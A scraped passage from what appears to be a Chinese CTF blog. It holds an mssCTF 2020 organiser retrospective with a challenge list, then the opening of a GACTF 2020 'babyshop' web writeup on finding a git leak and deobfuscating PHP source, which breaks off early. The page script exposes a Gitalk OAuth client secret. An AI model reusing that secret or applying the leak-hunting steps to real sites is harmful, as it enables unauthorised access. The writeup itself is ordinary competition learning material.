style=\"text-align:center\"\u003e场次\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e分类\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e题目名\u003c/th\u003e\u003cth style=\"text-align:center\"\u003e出题人\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e签到题\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eluoqian\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003egift\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eAvicii\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eluoqian\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003efishing_master\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLunatic\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e到底说了什么\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eGalaxy\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWal1et\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWal1et\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eMisc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e抽卡游戏\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ezkonge\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehugme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblackwatch\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003enode\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003exml’s the best\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReclu3e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eunserialize\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ecalc\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLT\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ereadme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblackwatch\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eWeb\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003epostme\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReclu3e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_stream\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_encrypt\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_math\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehard_block\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_signin\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_rsa\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ewhisper\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eLunatic\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCrypto\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeasy_block\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eshallow\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eblind\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ehello\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePwn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ebaby_format\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eeqqie\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ebase_pro\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003edoors\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ecoffee\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003esearch\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eflower\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverier\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eReverse\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eCheckIn\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eRuby\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e灌水\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e栅栏加密\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e|\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e决赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e安全评估\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e量子波动速读\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003eRSA加密\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd style=\"text-align:center\"\u003e初赛\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003ePPC\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e肝活动\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003elhz\u0026amp;cdcq\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003ctd style=\"text-align:center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"Web\"\u003eWeb\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eFrank\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eWeb题是被骂惨了,出题人上头了,审题人也上头了。\u003cbr\u003e出题时应当充分考虑做题对象的水平,才能在比赛的同时达到提高水平的效果。像这次的题目,虽然我们自己已经习以为常,但是冷静思考,很多知识点如果要充分理解,需要对底层原理(python、PHP)有相当深入的了解。对于中学生而言,这是很不现实的。\u003c/p\u003e\u003cp\u003e还有一点可以改进的地方是出题前运维应当与出题人沟通好日志如何收集,并在审题阶段对日志收集功能进行测试。今年由于时间匆忙没有仔细地审题,出了各种问题。\u003c/p\u003e\u003ch3 id=\"Pwn\"\u003ePwn\u003c/h3\u003e\u003ch3 id=\"Reverse\"\u003eReverse\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eReverier\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e初赛逆向题目放出了三道, 有两道题目是我出的, 考点分别是指令虚拟化和全排列, 难度中等, 没爆0. 复赛题目放出了四道, 上午Java逆向和花指令, Java逆向是一个六元一次方程组求解, 两解; flower直接爆0了. 下午本来准备上happy出的一道vm, 但是上午看了看解题情况, 吓得不敢放了, 于是临时出了一个签到题, F5就能看见flag 的那种. 加上一道换表base64解密, 下午成功没有爆0. 有一说一题目质量出的有点低了… 没把握好选手的整体水平, 最后导致题目难度极不合理.\u003c/p\u003e\u003ch3 id=\"PPC\"\u003ePPC\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003ecdcq\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e出现的问题:\u003c/p\u003e\u003cul\u003e\u003cli\u003e检查用的时间不够,没有查常规项(例如数据范围,典型的常规项),不能因为题简单就不查\u003c/li\u003e\u003cli\u003e最后没有总测数据,结果导致std改了,但是样例忘了改\u003c/li\u003e\u003cli\u003e没有强调\u003cstrong\u003e行末\u003c/strong\u003e(而不是\u003cstrong\u003e文末\u003c/strong\u003e)空格。这个应当在评测插件中新增一个Presentation Error进行提示\u003c/li\u003e\u003cli\u003e使用多组数据。多组数据输入对出题人来说很方便,但是对OI选手来说,不习惯多组数据,会导致很多人忘记初始化,从而卡在非核心考察点上,降低比赛体验\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/09/20/Dev/mssCTF%202020/"},{"title":"GACTF 2020 Web 部分题目 Writeup","time":"2020-08-31T16:00:00Z","content":"\u003ch2 id=\"babyshop\"\u003ebabyshop\u003c/h2\u003e\n\u003cp\u003e上来一个小商城,懵了一圈以后扫了一下目录,发现有git泄露。源码脱下来以后发现进行了混淆。\u003cbr\u003e\n这个混淆有意思啊,所有的变量名甚至都是有意义的,难不成是出题人人 工 混 淆?\u003c/p\u003e\n\u003cp\u003e简单浏览以后通过\u003chr /\u003e\u003ch2 id=\"babyshop\"\u003ebabyshop\u003c/h2\u003e\u003cp\u003e上来一个小商城,懵了一圈以后扫了一下目录,发现有git泄露。源码脱下来以后发现进行了混淆。\u003cbr\u003e这个混淆有意思啊,所有的变量名甚至都是有意义的,难不成是出题人人 工 混 淆?\u003c/p\u003e\u003cp\u003e简单浏览以后通过经验可以判断出,整个\u003ccode\u003einit.php\u003c/code\u003e大体分为两部分,\u003ccode\u003e造化之神\u003c/code\u003e用于混淆字符串常量,而\u003ccode\u003e造化\u003c/code\u003e函数则用于获取原字符串,是很常用的字符串常量混淆手段。再加上php的字符串可以作为函数调用,函数名也可以利用这种方式进行混淆。比如\u003ccode\u003e造化(\u0026quot;拢监纪浑诊余仍逃抹哀天夫\u0026quot;)\u003c/code\u003e实际上就是\u003ccode\u003estripos\u003c/code\u003e\u003cbr\u003e于是我们可以写一个简单的小脚本进行字符串恢复,抛弃\u003ccode\u003e造化\u003c/code\u003e部分。脚本由于没有复用价值,就不放在这了。\u003ccode\u003e测\u003c/code\u003e,\u003ccode\u003e获\u003c/code\u003e,\u003ccode\u003e赋\u003c/code\u003e等工具函数也可以通过简单的正则匹配进行替换。\u003c/p\u003e\u003cp\u003e最终我们可以恢复出混淆前的代码:\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 题目源码 \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eini_set(\u003cspan class=\"string\"\u003e\u0026#x27;display_errors\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;Off\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e 造齿轮\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $朝拜圣地;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $贡品;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $圣殿;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprotected\u003c/span\u003e $禁地;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e 